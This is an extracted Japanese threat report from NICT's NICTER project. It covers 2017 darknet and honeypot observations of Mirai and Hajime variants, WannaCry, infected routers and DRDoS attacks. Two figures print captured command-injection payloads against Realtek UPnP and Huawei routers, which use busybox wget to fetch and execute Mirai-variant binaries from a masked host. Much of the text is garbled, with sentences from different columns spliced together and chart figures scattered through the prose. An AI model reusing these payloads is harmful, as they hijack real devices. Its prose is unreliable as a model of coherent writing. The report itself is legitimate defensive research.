NICTER 観測レポート 2017
国⽴研究開発法⼈ 情報通信研究機構
サイバーセキュリティ研究所 サイバーセキュリティ研究室

2017 年は 2016 年とほぼ同じ観測規模となる約 30 万ア

1. はじめにドレスの観測網を使って観測を⾏いました．1 IP アドレ

本レポートは，NICTER プロジェクトで実施していスあたりの年間総観測パケット数に注⽬すると，2016 年

るダークネット観測*1 および各種ハニーポットで捉えたは Mirai に代表される IoT 機器を攻撃対象としたマル2017 年のサイバー攻撃関連通信の状況についてまとめた

ウェアの活動により観測パケット数の増加がみられましものです．

たが，2017 年においても IoT マルウェアの活動が継続

我々は，2005 年に NICTER プロジェクトを開始してし，2016 年を上回る約 56 万パケットを観測しました．こから約 13 年以上に渡って，ダークネット観測を⾏っていれは，2016 年と⽐べて約 1.2 倍の増加率となっており，

ます．1 IP アドレス（観測を⾏うセンサ）あたりの年間

2015 年から 2016 年にかけての約 2.2 倍の増加率と⽐較

観測パケット数は，2016 年 [1] の約 47 万パケットからして低下しているものの，依然として増加傾向にあるこ

さらに増加し，2017 年は約 56 万パケットを観測しましとがわかります．

た．観測パケット数増加の背景には，2016 年に猛威をふ

2.2. プロトコル別統計

るった IoT 機器に感染するマルウェア Mirai [2] に関連する活動が 2017 年にも引き続き観測されたという状況

図 1 は，観測パケット数の推移を⽇毎で TCP と UDPがあります．Mirai を改変し，IoT 機器が抱える脆弱性をのプロトコル別に集計したものです．UDP パケットに関悪⽤する機能等を搭載することで⾼度化した Mirai の亜

しては，年間を通じて常に⼩さな変動を⾒せながら推移

種が複数登場し，これらの亜種の活動によるとみられる

し，11 ⽉以降から年末にかけて，増加の傾向がみられま

⼤規模な感染が⽇本国内においても観測されました．ます．⼀⽅，TCP パケットは UDP パケットに⽐べ約 10た，WannaCry [3] をはじめとするランサムウェア*2 が世倍以上のパケットを観測していて，特に 7 ⽉初旬と 11 ⽉

界的に猛威をふるい，⽇本国内でも深刻な問題となりま下旬のピーク時には 1 ⽇に 6 億以上ものパケットを観測したが，ランサムウェアによる感染活動は NICTER のしています．なお，TCP パケットに関する送信元 IP ア

ダークネット観測においても顕著にみられました．

ドレスのユニーク数（攻撃ホスト数）をカウントすると，

1 ⽇に約 70 万から 300 万アドレスの範囲で変動してい2. 2017 年の観測統計

ました．IP アドレスの切り替わりの影響や，NAT 環境

2.1. 年間観測パケット数*1. ダークネットとはインターネット上で到達可能かつ未使⽤の IP ア
ドレスの集合のこと．ダークネット観測では，本来使⽤されていないはずの IP アドレスにセンサを設置し，パケットを収集する．収集した膨
⼤なパケットについて，送信元に関する情報や宛先のポート番号，パケットの内容などを分析することで，サイバー攻撃の兆候を発⾒したり，攻撃の傾向や規模感を把握できる．

表 1 に 2005 年からの毎年の観測パケット数，ダークネット観測規模（観測 IP アドレス数），観測パケット数を観測 IP アドレス数で正規化した値を⽰します．基本
的に，総観測パケット数は観測 IP アドレス数に影響さ*2. マルウェアの⼀種で，ユーザが PC 等の端末に保存したデータにアクセスできないよう細⼯を施し，それを解除するための対価として，
ビットコイン等の⾦銭を要求する（⾝代⾦ (Ransom) を要求する）不正プログラムのこと．

れるため，観測 IP アドレス数で正規化した値が観測されたスキャン活動の規模感を表していると考えられます．

1

表1: 年間総観測パケット数の統計
年間総観測パケット数

観測 IP アドレス数

1 IP アドレス当たりの年間総観測パケット数

2005

約 3.1 億約 1.6 万19,0662006

約 8.1 億約 10 万17,2312007

約 19.9 億

約 10 万19.1182008

約 22.9 億

約 12 万22,7102009

約 35.7 億

約 12 万36,1902010

約 56.5 億

約 12 万50,1282011

約 45.4 億

約 12 万40,6542012

約 77.8 億

約 19 万53,0852013

約 128.8 億

約 21 万63,6552014

約 256.6 億

約 24 万115,3232015

約 545.1 億

約 28 万213,5232016

約 1,281 億

約 30 万469,1042017

約 1,504 億

約 30 万559,125

億

TCPパケット数/日

6.0

2.1

TCP Packets (左軸)

UDP Packets (右軸)

5.0

1.5

4.0

1.2

3.0

0.9

2.0

0.6

1.0

0.3

0.0
2017/1/1

億

1.8

UDPパケット数/日

7.0

年

0.0
2017/3/1

2017/5/1

2017/7/1

2017/9/1

2017/11/1

図1: 2017 年の観測パケット数の推移

できます．

下で複数の機器が感染している可能性もあるため，この数字がそのまま感染機器の台数を表すわけではありませ⼀⽅，11 ⽉ 23 ⽇に観測されたピークでは，7 ⽉のピ

んが，百万のオーダで感染機器が存在している可能性がークとは異なり，多数の IP アドレスから 23/TCP に対⾼いと考えられます．

するパケットが増加している様⼦が観測されていました．

図 1 でみられる TCP パケットに関するピークについそれらを詳しく調査すると，Mirai のスキャンと同様の特て調査した結果，7 ⽉のピークではわずか 2 〜 3 個の特徴*4 を持つパケットであり，増加した送信元 IP アドレ

定の IP アドレスから数億パケットを超える⼤量のパケスの多くがアルゼンチンの IP アドレスだということが明ットが送信されていることがわかりました．当該 IP アド

らかになりました．我々はこの事象については，アルゼン

レスは⽶国に本社のあるレンタルサーバサービス等を提チンに広く普及する機器がマルウェア（Mirai もしくは供している企業の IP アドレスであり，観測されたパケッ

その亜種）に感染したことが原因であると考えています．

トのほぼ全てが送信元ポート番号が 80/TCP かつ TCP

SYN-ACK パケットであったことから，これらの⼤量の*3. このケースでは攻撃者は送信元 IP アドレスを詐称して攻撃対象のサーバに⼤量のアクセスを⾏っており、攻撃を受けたサーバが詐称された IP アドレス宛てに返す応答（SYN-ACK パケット）の⼀部がダークネットに届いている．

パケットは当該企業⾃⾝もしくはレンタルサーバを利⽤している何らかのサービスに対する⼤規模な DoS 攻撃の跳ね返り（バックスキャッタ*3 ）が観測されていたと推測*4. Mirai のソースコードでは，スキャンパケットの⽣成時に TCP
ヘッダのシーケンス番号に宛先 IP アドレスと同じ値が設定される．

2

IoT 機 器 が 使 ⽤ す る ポ ー ト 番 号 に は，23/TCPの 他 に も， 同 じ く Telnet ポ ー ト と し て 使 ⽤ さ れる 2323/TCP や 5358/TCP，CWMP*5 で 使 ⽤ さ れ る

7547/TCP，UPnP*6 に 対 応 し た 機 器 で 使 ⽤ さ れ る
1900/UDP (SSDP*7 ) な ど が， 上 位 10 ポ ー ト の 中 に

Other Ports
35.8%

23/TCP

含まれています．これらのポートに対するスキャンの割

38.5%

全体の半数以上のスキャンが IoT 機器を狙った攻撃であ合を合計すると約 54% に及びます．つまり，少なくともると推測できます．

2016 年の傾向と⽐較すると，23/TCP に対するスキャンの割合が 53% から 38.5% へと減る⼀⽅で，その他のポート（Other Ports）に対するスキャンが占める割合
が 24% から 35.8% へと増加しています．その他のポートの内訳を詳しく⾒てみると，前述した上位を占めるポート程はパケット数が観測されていないものの，特定のIoT 機器が使⽤するポートを狙ったスキャン活動もみら

図2: 宛先ポート番号別の年間観測パケット数割合

れ，Telnet のような多数の機器で動作するサービスを狙った攻撃から，特定の機器やサービスにだけ存在する脆弱性を狙った攻撃へと，攻撃⼿法が多様化していること

2.3. 宛先ポート別パケット数割合が特徴として表れています．

では，このような 1 ⽇に数億以上も観測されるパケッ

IoT 機器以外の事象に⽬を向けてみると，2017 年はラトが，具体的にどのようなサービスを狙ったものなのでンサムウェア WannaCry の活動がメディア等でも⼤きく

しょうか？

取り上げられ社会問題となりましたが，感染の⼊り⼝と図 2 では，1 年間で観測された全てのパケットを宛先なった Windows OS のサービスで⽤いられる 445/TCP

ポート番号・プロトコル別に集計して，上位 10 個とそに対するスキャンは全体の 5% にとどまっており，全体の割合を⽰しています．つまりこれらのポート番号・プの割合としてはそこまで⼤きくはなかったことがわかりロトコルに対応したサービスが我々の観測で⾒えた 2017

ます．

年で多くの攻撃の対象となったサービスと⾔えます．
実際に図 2 を⾒ると，最も多いのは 23/TCP で，全体3. 2017 年に観測した特徴的な事象の 1/3 以上をこのポート番号宛のパケットが占めていま

ここからは，2017 年に観測した特徴的な事象について

す．23/TCP は Telnet というプロトコルが使⽤するポー

紹介していきます．

ト番号で，ID とパスワードを使って遠隔からコンピュー3.1. ランサムウェア WannaCry の流⾏

タにログインし，操作するためのプロトコルです．2016
年に家庭⽤のブロードバンドルータや Web カメラ等にお2017 年には，WannaCry をはじめ，Petya[4] や Bad

いて爆発的な感染の被害をもたらしたマルウェア Mirai

Rabbit[5] といったランサムウェアを使った攻撃が広く⾏や Telnet ポートを狙うマルウェアは，このポートに対す*5. CPE WAN Management Protocol の略．通信機器の遠隔管理

るスキャンを⾏うことでインターネット上でアクセスでのために⽤いられる．

きる機器を探し，よく知られた ID とパスワードの組を使*6. Universal Plug and Play の略．ルータやプリンタなどのネット
ワーク機器の相互接続を実現するための仕様のこと．

って機器へのログインを試みるケースが多いです．ログ*7. Simple Service Discovery Protocol の略．Universal Plug andPlay (UPnP) における機器の探索 (Discovery) に⽤いられるプロト
コルで，通常 1900/UDP ポートが使⽤される.

インに成功すると，マルウェアを機器にダウンロードして感染させ，遠隔から操作できる状態にします．

3

30

30

25
5/12
20
15
10
5
0
2017/4/1

81/TCP
81/TCP (Hajime)

万

攻撃元IPアドレス数/日（81/TCP）

攻撃元IPアドレス数/日（445/TCP）

万

2017/5/1

25

20
4/16
3/5
15

10
5
0
2017/2/1

2017/6/1

5/15

2017/3/1

2017/4/1

2017/5/1

2017/6/1

図3: 445/TCP に対する攻撃ホスト数の推移

図4: 81/TCP に対する攻撃ホスト数の推移

われ，その被害は社会問題としてメディアでも⼤きく取

⼀⽅，6 ⽉ 27 ⽇にはランサムウェア Petya を使ったサり上げられました．WannaCry については，2017 年 5 ⽉

イバー攻撃が欧州を中⼼に確認されました [4]．
WannaCry

12 ⽇頃から⽇本国内および海外での被害が報告されはじと同様，Petya も CVE-2017-0145 の脆弱性を利⽤する

め [6]，その後 6 ⽉以降も WannaCry の亜種とみられる

ため，WannaCry と同様の観測がみられるのではないか

感染活動が観測されているとの注意喚起が，警察庁からと推測されるところですが，攻撃対象がウクライナをは公開されています [7]．

じめとする欧州諸国および⽶国企業など狭い範囲に限定

WannaCry は Microsoft Windows で 使 わ れ て い る

されていたため，NICTER の観測網においてはこの時期，Server Message Block 1.0 (SMBv1) の脆弱性 [8] を使っ

445/TCP へのスキャンの顕著な増加は⾒られませんでて感染を広げるというワームの機能を持ちます．脆弱性をした．これらの 445/TCP に対するスキャンは，その後悪⽤することをエクスプロイトと呼びますが，WannaCry

も年末にかけて増加を続けており，当該ポートを悪⽤す

はエクスプロイトツールである EternalBlue [9] を使い，るマルウェアの感染活動が依然として活発であることを脆弱性の修正パッチが適⽤されていない多くの端末に感⽰していると考えられます．

染を広げたといわれています．感染した端末は，さらなる3.2. GoAhead ウェブサーバの脆弱性を狙った攻撃活動と IoT マルウェア Hajime

感染を広げるために，同⼀ネットワーク内のホストを探索するとともに，インターネット上のホストを無作為にスキャンし，SMB プロトコルが使⽤する 445/TCP を待3 ⽉ 5 ⽇頃から 81/TCP 宛ての攻撃ホスト数の増加

ち受けているホストを探します [10]．

を観測しました（図 4）．これらの攻撃ホストを調査した

実際に NICTER の観測状況（図 3 ）を⾒ると，5 ⽉

ところ，メキシコ，ベトナム，マレーシアといった国に10 ⽇頃から，445/TCP に対する攻撃ホスト数が増加し攻撃ホストが多く存在しており，これらの攻撃ホストは始め，WannaCry の最初の感染が確認された [11] とされ81/TCP だけでなく，80/TCP や 88/TCP，8000/TCP，る⽇本時間 5 ⽉ 12 ⽇の 17 時以降に急増を観測しまし8080/TCP といった複数のポート番号に対して Mirai のた．このタイミングで観測されたパケットを調べてみる特徴を持つパットを送信していることから，Mirai の亜種と，TCP ヘッダのウィンドウサイズが 8192 であるパケに感染した機器によるスキャンだと判断しました．

ットが増加していました．Windows 7 端末は特徴とし

その後，⼀旦観測される攻撃ホスト数は減少したものてウィンドウサイズ 8192 をデフォルトで使⽤するため，の，4 ⽉ 16 ⽇頃から再度急増しています．この時には，

WannaCry への感染対象のほとんどが Windows 7 端末

3 ⽉のピークとは傾向が変わり，中国やタイ，アメリカであったとされる報告 [12] とも観測されたパケットの特といった国に攻撃ホストが多く存在していました．また，徴が符合します．

実際にこれらの攻撃ホストからのスキャンをハニーポッ

4

16,000が確⽴すると，IP カメラ等の組込み機器で利⽤される

14,000

攻撃元IPアドレス数/日（22/TCP）トによって観測した結果，スキャンに対して応答し接続

GoAhead ウェブサーバの脆弱性を狙ったペイロードが送られてくることを確認しました．観測された GoAheadの脆弱性は，3 ⽉ 8 ⽇頃にセキュリティベンダ等のレポート [13][14] にもまとめられ，ゼロデイ攻撃*8 だったことがわかっています．3 ⽉のピークについても 4 ⽉の急増

6/11

12,00010,000
8,000
6,000
4,000
2,000

と同様に GoAhead の脆弱性を狙った攻撃活動の可能性

02017/6/1がありますが，ハニーポットによる確認ができておらず判断はできません．なお，同時期に Apache Struts2[15]2017/6/15

2017/6/29

2017/7/13

2017/7/27

図5: 22/TCP に対する攻撃ホスト数（⽇本）の推移の脆弱性も公開されていたため，その脆弱性を狙った攻撃活動の可能性も考えられます．
さらに 5 ⽉ 16 ⽇以降，またもや 81/TCP に対する攻

TCP ヘッダのウィンドウサイズが 14600 固定である”と

撃ホスト数が急増すると共に，その攻撃パケットの特徴

いう⼆つの特徴が明らかになりました．さらに攻撃ホスに変化が⾒られ，Mirai の特徴を持たず，TCP ヘッダのトについて調査を進めた結果，⼤⼿通信事業者が販売すウィンドウサイズが 14600 に固定されたパケットが多数るモバイルルータが，インターネットから SSH サービス

観測されるようになりました．このパケットは Mirai と（22/TCP）でアクセス可能な状態にあり，容易に推測可は異なる Hajime と名づけられた IoT マルウェアの特徴

能なユーザ ID とパスワードの組がデフォルトで設定さ的なパケットだと推測されます．Hajime は 2016 年 10れていたため，この弱点を悪⽤するマルウェアに感染し⽉にセキュリティベンダによってその存在が報告されてていたことが明らかになりました．

いることから [16]，Hajime が機能更新を⾏い，新たにまた，当該機器を当研究室で詳しく調査したところ，

GoAhead の脆弱性を⽤いて感染を広げようとしている動22/TCP 以外のポートで別のサービスが稼働しており，きだと推測できます．実際に, 図 4 に 81/TCP に対する

そのサービスにはバッファオーバーフローの脆弱性 [18]攻撃ホストのうち Hajime の特徴を持つ攻撃ホスト数のが存在し，機器に対して細⼯したデータを送信すること推移を⽰していますが，3 ⽉と 4 ⽉の増加ではほぼ観測で任意のコード実⾏が可能であることが判明しました．

されていなかった Hajime が 5 ⽉以降はその⼤半を占め

これまで，IoT 機器へのマルウェア感染事例では，マルていることがわかります．Hajime の詳細な観測状況につ

ウェアは揮発性メモリ上で動作していることが多く，機器

いては IIJ のレポート [17] にまとめられています．

を再起動すると感染したマルウェアは消滅するため，駆81/TCP に対する攻撃ホスト数は本レポート公開時

除は容易でした．⼀⽅，上記の機器では，脆弱性を利⽤す（2018 年 2 ⽉現在）でも 1 万ホスト程度で推移しており，ることで不揮発性メモリ領域でマルウェアを動作させる

継続した攻撃活動を観測しています．

ことが可能であり，機器を再起動してもマルウェアが駆除されない” 永続化” が可能な状況にありました．
発⾒した脆弱性は，協調的な脆弱性公開 (Coordinated

3.3. ⽇本国内の通信事業者が販売するモバイルルータへ

Vulnerability Disclosure)[19] の考え⽅に基づき，情報セのマルウェア感染

キュリティ早期警戒パートナーシップにおける脆弱性

6 ⽉ 11 ⽇頃から，⽇本国内から 22/TCP に対してスの受付機関である IPA に届出を⾏い，調整機関である

キャンを⾏うホスト数が急増し，1 ⽇に 1 万 IP アドレス

JPCERT/CC が機器の販売元である事業者と調整を⾏っ

以上が観測されました（図 5 参照）．

た結果，対策版ファームウェアが公開されています [20]．

⽇本国内のホストの観測数が急増するケースは珍しい

最新版のファームウェアを機器に適⽤することで，マルためこれらのスキャンパケットを詳しく調査したところ，“攻撃ホストは特定の通信事業者の IP アドレスである”，”*8. 脆弱性の修正パッチが提供される前に⾏われる攻撃のこと

5万

攻撃元IPアドレス数/日

5.0
2.0

4.0

2.0

万

万

800

80
60
40

0.5
0.0
2017/10/30

600

20
0
2017/11/6

ードバンドルータへのマルウェア感染2017/11/1

10 ⽉ 31 ⽇頃には，⽇本国内からの 23/TCP へのス
キャンが増加しました．攻撃ホスト数は 11 ⽉ 3 ⽇に約

400

1.0
0.0
2017/10/1

3.4. Realtek SDK の脆弱性を悪⽤した⽇本国内のブロ

1,000

100

万

1.5
1.0

3.0

1,200

23/TCP Hosts
2323/TCP Hosts
52869/TCP Packets(右軸)

パケット数/日

6.0

1.6 万ホストを観測し，その後⼀時的に減少しましたが，200

11 ⽉ 16 ⽇ごろから再度増加（2323/TCP も同時に増加）0

し，ピーク時には 2.4 万ホストが観測されました．これら

2017/12/1の攻撃ホストについて調査した結果，⽇本国内で販売さ

図6: Telnet 宛ての攻撃ホスト数（⽇本）と 52869/TCP

れているブロードバンドルータが多数感染している可能宛てのパケット数の推移性が⾼いことがわかりました．

ICT-ISAC や JPCERT/CC などの関係組織とも連携を図りながらこれらの機器を調査した結果，23/TCP での接続はできませんが 52869/TCP で何らかのサービス
POST /picsdesc.xml HTTP/1.1
Host: ***.***.***.***:52869
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*User-Agent: python-requests/2.18.4
SOAPAction:
urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Content-Length: 637<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping
xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/;/bin/busybox wget http://***.***.***.***/okiru.sh`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>が稼働していることがわかりました．そこで，NICTERのダークネットで 52869/TCP 宛ての観測パケット数を調査すると，⽇本国内からの 23/TCP へのスキャンが増加したのとほぼ同時期に 52869/TCP 宛てのスキャンが数⼗万パケットまで増加していたことがわかり，この52869/TCP 宛ての攻撃によってマルウェアに感染した可能性が⾼いことが推測できました．そこで，ハニーポ
ットによって当該ポート番号宛ての通信を観測した結果，
図 7 に⽰すペイロードを観測しました．これは，Realtek

SDK の Miniigd サービスにおけるコマンドインジェク
ションの脆弱性 [21] を悪⽤するペイロードで，攻撃が成
功すると Mirai 亜種をダウンロードして感染させます．
最終的に，古いバージョンのファームウェアで動作しているブロードバンドルータの⼀部がこの脆弱性を保有しており，当該機器が Mirai 亜種に感染した結果，⽇本国内か

図7: 52869/TCP 宛てのペイロード（⼀部マスク済み）

ら 23/TCP へのスキャンが増加したと判断できました．
この事象の特徴的な点の⼀つは，52869/TCP 宛てのス
キャンはオランダにある 1 つの IP アドレスからのみ送
信されており，攻撃が成功した際に感染するマルウェア
ウェア感染の⼊り⼝となったポートへの接続ができなく⾃体には 52869/TCP に対する攻撃機能は含まれていな

なり，感染済みのマルウェアの駆除と今後の感染を防⽌かったことです．また，感染原因となった脆弱性は当該することが可能なため，当該機器のユーザは速やかにフ機器固有の脆弱性ではなく，様々な機器で使⽤される汎ァームウェアを適⽤することが推奨されます．

⽤的なソフトウェアに存在するものでした．具体的には，

なお，22/TCP に対する⽇本国内の攻撃ホスト数はRealtek 社が販売するマイクロコントローラーチップ⽤

2018 年 2 ⽉現在では，1 ⽇に 200 ホスト程度にまで減少

ソフトウェア開発キット (SDK) 含まれる特定のソフト

していますが完全には終息していません．

ウェア（miniigd）に脆弱性 [21] が存在し，それを悪⽤す

66037215/TCP Hosts

2,500

37215/TCP Packets

40

2,000

30

1,500
11/23

20

1,000

10

500

0

2017/11/1

2017/11/15

2017/11/29

2017/12/13

2017/12/27

パケット数/日

攻撃元IPアドレス数/日

50<?xml.version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g ***.***.***.*** -l /tmp/rsh -r /okiru.mips;
chmod +x /tmp/rsh; /tmp/rsh)</NewStatusURL><NewDownoadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

3,000
12/5

図9: 37215/TCP 宛てのペイロード（⼀部マスク済み）

0

器と送信されたペイロードを調査した結果，Huawei 社

図8: 海外製ブロードバンドルータへのマルウェア感染のブロードバンドルータにコマンドインジェクションの脆弱性 [24] が存在し，この脆弱性が悪⽤されている可能
る攻撃コードが Mirai の亜種に取り込まれ，脆弱性の悪性が⾼いことが判明しました．当該脆弱性はその当時未⽤に⾄ったという流れになります．この脆弱性は今回新知の脆弱性である可能性が⾼かったため，11 ⽉ 30 ⽇にたに発⾒されたものではなく 2014 年の時点で発⾒されHuawei PSIRT*9 へ当該脆弱性について報告を⾏いましており，2015 年 4 ⽉に Zero Day Initiative が公開した

た．その結果，Huawei PSIRT からは，我々の報告と同アドバイザリ [22] によって最初に脆弱性が公表されてい時期に別の組織から，同⼀の事象について報告を受けてたと考えられます．また，その 1 ヶ⽉半後にはこの脆弱性

おり，調査・対策を進めているとの回答が得られ，最終的を悪⽤する攻撃コードが公表されており，潜在的にはいに，Huawei 社から脅威の緩和策が公開されました [25]．

つマルウェアに攻撃コードが取り込まれていてもおかし

当該機器のユーザは速やかに対策を取ることが推奨されくない状況であったわけです．

ます．

関連組織によるコーディネーションの結果，機器メー

37215/TCP に対する攻撃ホスト数は，12 ⽉ 5 ⽇に 40

カは，脆弱性の影響を受ける全 11 機種を特定し，脆弱性

万ホスト近くまで急増するピークを⽰した後，⼤きく減少の存在および各機器に対する対策済みのファームウェア

しました．しかし，⽇によって変動が激しいものの 2018

に関する情報を公開しました [23]．ユーザはファームウェ

年 2 ⽉現在でも多い時は 1 ⽇に 1 万弱のホストが観測さ

アアップデートを適⽤することで，機器へのマルウェア

れており，今なお攻撃活動が継続しています．

感染を防ぐことが可能です．しかしながら，52869/TCP

4. DRDoS 攻撃の観測状況に対する攻撃ホスト数はその後減少したものの 2018 年 2⽉現在でも 1 ⽇に 4000 ホスト程度が観測されており，未DRDoS 攻撃（Distributed Reflection Denial of Service

だに多くの攻撃活動が観測されています．当該機器の全て

Attack）とは DoS 攻撃の⼀種であり，インターネット経のユーザがファームウェアアップデートを適⽤し，事態が由でアクセス可能な各種サービス（DNS や NTP など）

終息するには時間がかかると考えられるため，NICTERを悪⽤して攻撃対象に⼤量のパケットを送り付けること

では引き続き観測を続け，状況の変化について報告したで，攻撃対象のネットワーク帯域を圧迫しサービスを妨

いと思います．

害する攻撃です．例えば，DNS を利⽤した DRDoS 攻撃（DNS アンプ攻撃とも呼ばれる）の場合，攻撃者はインタ

3.5. 海外製ブロードバンドルータへのマルウェア感染ーネット上でアクセス可能な多数の DNS サーバに対し

11 ⽉ 23 ⽇頃から，37215/TCP に対するスキャンのて，送信元 IP アドレスを攻撃対象に詐称した DNS クエ増加を観測しました（図 8参照）．ハニーポットを⽤いて*9. Product Security Incident Response Team の略．製品セキュ
リティに関わる担当部⾨の⼀つで，製品の脆弱性対応窓⼝を兼ねることもある．

ペイロードを確認したところ，図 9のようなペイロードが送られてくることがわかりました．我々が攻撃元の機

7

10

9

万

SSDP

CharGen

NTP

700

DNS

SSDP

8

NTP

DNS

500

攻撃件数/日7

攻撃件数/日CharGen

600

6
5
4
3

400
300
200

2
100

1
0
2017/07/01

2017/09/01

0
2017/07/01

2017/11/01

図10: DRDoS 攻撃件数の推移（積み上げ⾯グラフ）

2017/09/01

2017/11/01

図11: ⽇本宛の DRDoS 攻撃件数の推移（積み上げ⾯グ
ラフ）

リを送信します．このとき，DNS クエリと⽐較してレス
撃回数や規模を把握しやすいように，連続した同⼀の攻ポンスのデータサイズが⼤きくなるようなクエリを⽤いることで，それらのレスポンスが攻撃対象のアドレスに

撃対象に対する DRDoS 攻撃のリクエスト（つまり詐称

対して⼀⻫に送りつけられネットワーク帯域を圧迫しま

した送信元 IP アドレスが同じリクエスト）をまとめて 1
件の攻撃として集計しています．これ以降で⽰す攻撃件

す．この DRDoS 攻撃は，時に数百 Gbps を超える⼤規

数とは，この集計に基づく件数*10 のことです．

模なトラフィックを発⽣させるケースもあり，⼤きな脅

上記の期間において，AmpPot は累計で約 800 万件，

威の⼀つとなっています．

⼀⽇あたり約 4.3 万件の攻撃を継続して観測していまし我々は，DRDoS 攻撃の状況を明らかにし効果的な対た．最も攻撃数が多いのは DNS サーバを踏み台にした

策導出に繋げるために，横浜国⽴⼤学吉岡研究室 [26]

攻撃で約 526 万件（⼀⽇あたり約 2.9 万件），その次に多と共同で，DRDoS 攻撃を観測するハニーポットであるい攻撃が NTP サーバを悪⽤した攻撃で約 255 万件（⼀AmpPot[27, 28] の研究開発を進めています．AmpPot と

⽇あたり約 1.4 万件）でした．この観測結果から，インタ

は，DNS アンプ攻撃等の DRDoS 攻撃を，攻撃に悪⽤さーネット上では攻撃者による DRDoS 攻撃が頻繁に発⽣れるサーバ（リフレクタ）の視点から観測を⾏うハニーポ

していることがわかります．

ットです．
本章では，AmpPot によって観測された DRDoS 攻撃

4.2. 攻撃件数の推移（⽇本宛）の発⽣状況について報告します．分析に使⽤した AmpPot
では，⽇本に対する攻撃状況はどうなっているでしょと観測期間・サービスは以下のとおりです．

うか？図 11 は，攻撃対象の IP アドレスが⽇本の IP ア

• 分析対象期間：2017/7/1 - 12/31 の 6 か⽉間

ドレスのものだけを抽出した攻撃件数の推移を⽰してい• 分析に⽤いた AmpPot：横浜国⼤で運⽤する 7 台

ます．前述の期間において，AmpPot は累計で約 3.1 万• 分 析 対 象 の サー ビス：CharGen (19/UDP)，DNS

件，⼀⽇あたり約 168 件の⽇本宛の攻撃を観測していま(53/UDP)，NTP (123/UDP)，SSDP (1900/UDP)

した．観測された全体の攻撃件数に占める割合としては少ないものの，⽇本を対象とした DRDoS 攻撃も頻繁に観測されていることがわかります．攻撃に利⽤されるサ4.1. 攻撃件数の推移

ービスは全体傾向と同様に DNS と NTP が多くを占め

まず，期間中に AmpPot で観測された DRDoS 攻撃ていました．

の攻撃件数の推移を図 10に⽰します．DRDoS 攻撃では実際に攻撃を受けていた組織の詳細な記述は差し

⼤量のリクエストが送信されますので AmpPot も⼤量のリクエストを観測しています．そこで AmpPot では，攻*10. 件数はいずれも AmpPot 7 台の観測結果を合計したもの．

8

CDF)









%
(


%














%
 









図13: 攻撃継続時間の累積分布関数（CDF）%%

確な理由は明らかではありませんが，これらの攻撃の中

図12: 国別の被攻撃件数には，Booter や Stresser と呼ばれる DDoS 攻撃代⾏サービスのお試し攻撃やテスト攻撃等が含まれており，そ控 え ま す が， 観 測 さ れ た 攻 撃 事 例 の 中 に は，Armada

うした⼤規模な攻撃の事前準備のような活動が観測結果

Collective を名乗る攻撃者による⾝代⾦を要求する攻撃に少なからず影響していると考えています．

[29] や Anonymous による攻撃活動 [30] などに関連して⼀⽅，全体の 1.5% の攻撃では，1 時間以上の⽐較的⻑

いるとみられる攻撃事例が含まれており，⽇本の組織に時間にわたる攻撃活動が観測されています．当該期間で最対しても⼤規模な攻撃活動が観測されていました．なお，も攻撃の継続時間が⻑かったものは，2017 年末に中国の⽇本国内宛の攻撃件数が 2017 年 11 ⽉以降に増加していIP アドレスに対して発⽣した NTP を利⽤した DRDoS

る原因は，あるホスティング業者の⽇本リージョンに対攻撃で，約 21 ⽇間に渡って攻撃が観測されました．
我々は AmpPot の観測結果を基に，被害組織等に対しして多くの攻撃が観測されたためです．

て早期に DRDoS 攻撃の発⽣を通知するアラートシステ

4.3. 国別の被攻撃件数の割合

ムを研究開発しており，関連機関との情報共有を始めています．

当該期間における国別の被攻撃件数の割合を図 12 に⽰します．国情報の推定には MaxMind 社の GeoIP2 デ5. おわりにータベース [31] を使⽤しています．図を⾒ると，全攻撃の約 1/3 がアメリカ合衆国の保有する IP アドレス宛の本レポートでは，サイバーセキュリティ研究室で実施

攻撃で，2 番⽬に多い中国と合わせると全攻撃の半数以しているダークネット観測において，2017 年の 1 年間で上，さらに上位五カ国で全攻撃の 2/3 を占めており，攻観測された攻撃活動の状況について報告しました．2017

撃を受けている国には偏りがあることがわかりました．⼀

年は 2016 年に登場したマルウェア Mirai のソースコー

⽅，⽇本宛の攻撃件数は半年間で約 3 万件観測されておドを流⽤し，従来の Telnet だけでなく各種 IoT 機器に特り，被攻撃件数としては 25 番⽬でした．

有の脆弱性を悪⽤する機能を取り込んだ複数の亜種が⽣まれるなど，IoT 機器を狙った感染の⼿⼝が巧妙化・多4.4. 攻撃の継続時間

様化しました．おそらく 2018 年も，このような攻撃側のAmpPot の観測結果から，DRDoS 攻撃がどの程度継戦術の変化が続くものと我々は予想しています．このよ

続して⾏われていたのかがわかります．図 13 に⽰した継うな攻撃側の変化に追従するため，観測・分析と研究開

続時間の分布を⾒ると，攻撃の継続時間は全体的に短いも発のサイクルを回しながら，今後も継続的な観測活動とのが多く，全体の約 30% が 1 分以下，約 80% が 10 分

分析結果の適切な利活⽤を進めていく予定です．

以下の攻撃でした．短時間の継続時間が多数を占める正また，2017 年後半の半年間における AmpPot の観測

9結果からは，DRDoS 攻撃が⽇々⼤量に発⽣している状況

a-new-threat-an-iot-botnet-scanning-internet-on-\port-81-en/.

が明らかになり，⽇本宛の攻撃も少なからず観測されてい[15] NICK BIASINI. Malicious - New Apache Struts2 0-day
Under Attack. http://blog.talosintelligence.com/2017/03/
apache-0-day-exploited.html.

ました．2016 年に発⽣した Mirai 感染機器による DoS
攻撃の事例のように，マルウェア感染させた IoT 機器を進めることで攻撃活動の全容把握を進めていく予定です．

[16] Sam Edwards, Ioannis Profetis.
